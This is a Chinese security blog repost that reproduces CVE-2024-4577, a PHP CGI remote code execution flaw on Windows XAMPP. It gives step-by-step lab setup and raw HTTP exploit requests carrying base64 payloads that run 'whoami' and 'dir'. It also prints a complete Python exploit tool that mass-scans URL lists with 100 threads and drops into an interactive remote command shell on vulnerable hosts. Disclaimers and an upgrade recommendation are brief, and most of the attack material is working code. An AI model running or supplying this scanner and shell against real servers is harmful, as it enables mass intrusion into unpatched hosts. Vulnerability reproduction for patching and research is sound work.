XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

admin 2024年8月5日08:40:37评论19 views字数 7648阅读25分29秒阅读模式
声明:<TEST安全>公众号分享的安全工具、漏洞复现和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

PHP CGI在Windows平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP官方团队已于2024年6月6日发布了新版本修复CVE-2024-4577,该漏洞利用前置条件较低且危害较大,建议尽快升级到安全版本。

0x00 漏洞概述

CVE-2024-4577是一个影响在Windows平台上运行的PHP CGI的远程代码执行漏洞。

漏洞的存在是因为PHP在设计时未能预见到Windows的Best-Fit字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的Windows系统,如简体中文(936)、繁体中文(950)和日文(932)。

0x01 多篇文章影响范围

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

其他版本的PHP官方已不在维护,建议根据实际情况升级到安全版本或者关闭php-cgi的使用。

Xmapp复现环境8.2.12下载,本次复现环境下载:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

其他版本环境下载地址:

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

下载后直接双击下一步安装即可,如果你下载的是免安装版本可以解压后找到这个文件双击打开

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

打开之后会提示选择语言,一般默认即可

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

启动这两个此时环境已经搭建成功

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

通过浏览器访问查看网页是否可以正常打开

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

随后使用POC读取文件C:/windows/system.ini进行验证

D:CVE-2024-4577-PHP-RCE-mainCVE-2024-4577-PHP-RCE.py 192.168.0.105:80

读取结果如图,验证代码参考文章最后:

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

对于影响范围可能实际不止文章开头所提到的,作者在其他文章找到更广的影响范围如下:

  • PHP Windows 版本8.3.0 <= 影响版本 < 8.3.8
  • PHP Windows 版本8.2.0 <= 影响版本 < 8.2.20
  • PHP Windows 版本8.1.0 <= 影响版本 < 8.1.29
  • PHP Windows 版本影响版本 == 8.0.x
  • PHP Windows 版本影响版本 == 7.x
  • PHP Windows 版本影响版本 == 5.x
  • XAMPP Windows 版本8.2.0 <= 影响版本 <= 8.2.12
  • XAMPP Windows 版本8.1.0 <= 影响版本 <= 8.1.25
  • XAMPP Windows影响版本 == 8.0.x
  • XAMPP Windows影响版本 == 7.x
  • XAMPP Windows影响版本 == 5.x

对于影响范围我下载了PHP Version 7.4.25进行验证

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

环境下载地址为,环境安装方式和文章开头一致:

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.4.25/

此时,使用7.4.25进行漏洞验证,还是使用上面的代码进行验证,成功读取的文件C:/windows/system.ini内容如下:

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

因此此漏洞可能影响的漏洞范围更为广泛,同时从github下载多个poc进行测试,最终检测结果均为不存在漏洞,但是使用上面这个poc检测漏洞是存在的:

其中本文测试的poc大致如下,但是使用上述poc验证是可以成功读取文件的:

https://github.com/aaddmin1122345/CVE-2024-4577-POChttps://github.com/watchtowrlabs/CVE-2024-4577

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

既然在可以读取到系统里面的C:/windows/system.ini文件内容那么说明这个漏洞肯定是存在的,经过分析决定使用burp进行重放数据包进行分析

构造的exp如下,使用exp查看当前权限:

GET /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/PiAg" HTTP/1.1Host: 192.168.0.105:80User-Agent: Accept-Encoding: gzip, deflateAccept: */*Connection: closeRedirect-Status: XCANWINContent-Length: 0




XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

使用同样的exp验证php 7.4.25

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

同样我们如果想查看当前目录下的文件构造exp如下:

GET /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/PiAg" HTTP/1.1Host: 192.168.0.105:80User-Agent: Accept-Encoding: gzip, deflateAccept: */*Connection: closeRedirect-Status: XCANWINContent-Length: 0




验证7.4.25版本还是失败

注意:在执行命令的时候base64编码后的内容如果是=号可能会失败,此时我们可以在被执行的命令最后加空格试试或把=删除试试,如图此时并未成功

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

尝试把==删除后成功执行

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

经过测试发现在php 7.4.25版本虽然没成功执行命令,但是成功读取到系统文件C:/windows/system.ini文件内容,因此除了开头所提到的版本,漏洞应该还包含其他的版本,有心情的可以深入研究研究,经过测试phpstudy默认环境验证这个漏洞失败,所以复现这个漏洞建议使用xmapp

命令执行exp代码如下:

import reimport base64import requestsimport rich_click as clickfrom colorama import Fore, initfrom alive_progress import alive_barfrom prompt_toolkit import PromptSessionfrom prompt_toolkit.formatted_text import HTMLfrom prompt_toolkit.history import InMemoryHistoryfrom concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()init(autoreset=True)



class PHPKiller:    def __init__(self, file_path=None, url=None, output=None):        self.urls = []        self.output = output        if file_path:            self.urls = self.read_urls_from_file(file_path)        elif url:            self.urls = 
self.single_url_mode = url is not None def read_urls_from_file(self, file_path): with open(file_path, "r") as file: return file.read().splitlines() def custom_print(self, message: str, header: str) -> None: header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"} header_color = header_colors.get(header, "white") formatted_message = click.style( f"[{header}] ", fg=header_color, bold=True ) + click.style(f"{message}", bold=True, fg="white") click.echo(formatted_message) def send_request(self, url, cmd="whoami", verbose=True): headers = {"Content-Type": "application/x-www-form-urlencoded"} test = base64.b64encode( f"echo '[S]'; system('{cmd}'); echo '[E]';".encode() ).decode() data = f"<?php phpinfo(); echo eval(base64_decode('{test}')); die()?>" php_settings = [ "-d cgi.force_redirect=0", '-d disable_functions=""', "-d allow_url_include=1", "-d auto_prepend_file=php://input", ] settings_str = ( " ".join(php_settings) .replace("-", "%AD") .replace("=", "%3D") .replace(" ", "+") ) payload = f"/php-cgi/php-cgi.exe?{settings_str}" try: response = requests.post( f"{url.rstrip('/')}{payload}", headers=headers, data=data, timeout=5, verify=False, ) match = re.search(r"[S](.*?)[E]", response.text, re.DOTALL) if match: result_value = match.group(1).strip() if verbose: self.custom_print( f"The URL {url} is vulnerable, Result: {result_value}", "+" ) return True, url, result_value else: return False, url, f"Fail at {url} with payload {payload}" except requests.exceptions.RequestException as e: return None, url, f"Error at {url} with payload {payload}: {str(e)}" def execute_requests(self): total_urls = len(self.urls) success_count = 0 fail_count = 0 error_count = 0 if self.single_url_mode: result, url, message = self.send_request(self.urls[0]) if result: if self.output: with open(self.output, "a") as f: f.write(f"{url}n") self.interactive_shell(url) else: self.custom_print(message, "-") else: with ThreadPoolExecutor(max_workers=100) as executor, alive_bar( total_urls, enrich_print=False ) as bar: future_to_url = { executor.submit(self.send_request, url): url for url in self.urls } for future in as_completed(future_to_url): result, url, message = future.result() if result: success_count += 1 if self.output: with open(self.output, "a") as f: f.write(f"{url}n") elif result is False: fail_count += 1 else: error_count += 1 bar.text = ( f"{Fore.GREEN}Success: {success_count}{Fore.RESET}, " f"{Fore.YELLOW}Fail: {fail_count}{Fore.RESET}, " f"{Fore.RED}Error: {error_count}{Fore.RESET}" ) bar() def interactive_shell(self, url: str): session = PromptSession(history=InMemoryHistory()) while True: cmd = session.prompt( HTML("<ansiyellow><b>WINDAUBE> </b></ansiyellow>"), default="" ).strip() if cmd.lower() == "exit": break if cmd.lower() == "clear": print("x1b[2Jx1b[H", end="") continue _, _, response = self.send_request(url, cmd, verbose=False) self.custom_print(f"Result:nn{response}", "*") @click.command( help=""" PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target. A vulnerable configuration is locale dependent (such as Chinese or Japanese), such that the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D) character. Additionally, a target web server must be configured to run PHP under CGI mode, or directly expose the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch), and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have not received patches. """)@click.option( "--file", "-f", type=click.Path(exists=True), required=False, help="Path to file containing URLs to test.",)@click.option("--url", "-u", type=str, required=False, help="Single URL to test.")@click.option( "--output", "-o", type=str, required=False, help="Output file to save vulnerable URLs.",)def main(file, url, output): if file: sender = PHPKiller(file_path=file, output=output) elif url: sender = PHPKiller(url=url, output=output) else: click.echo("You must provide either a file with URLs or a single URL to test.") return sender.execute_requests() if __name__ == "__main__": main()

另外附件包含可直接执行命令的exp如图:

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

修复建议:

目前该漏洞已经修复,受影响用户可升级到PHP版本8.3.88.2.208.1.29或更高版本。

参考连接:

https://github.com/11whoami99/CVE-2024-4577https://github.com/ohhhh693/CVE-2024-4577https://github.com/manuelinfosec/CVE-2024-4577https://github.com/Chocapikk/CVE-2024-4577https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/https://github.com/xcanwin/CVE-2024-4577-PHP-RCEhttps://github.com/W01fh4cker/CVE-2024-27198-RCEhttps://github.com/duy-31/CVE-2024-21413https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/https://bodhi.fedoraproject.org/updates/FEDORA-2024-52c23ef1echttps://www.kb.cert.org/vuls/id/520827https://www.php.net/downloads

原文始发于微信公众号(TEST安全):XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日08:40:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现http://cn-sec.com/archives/3035579.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息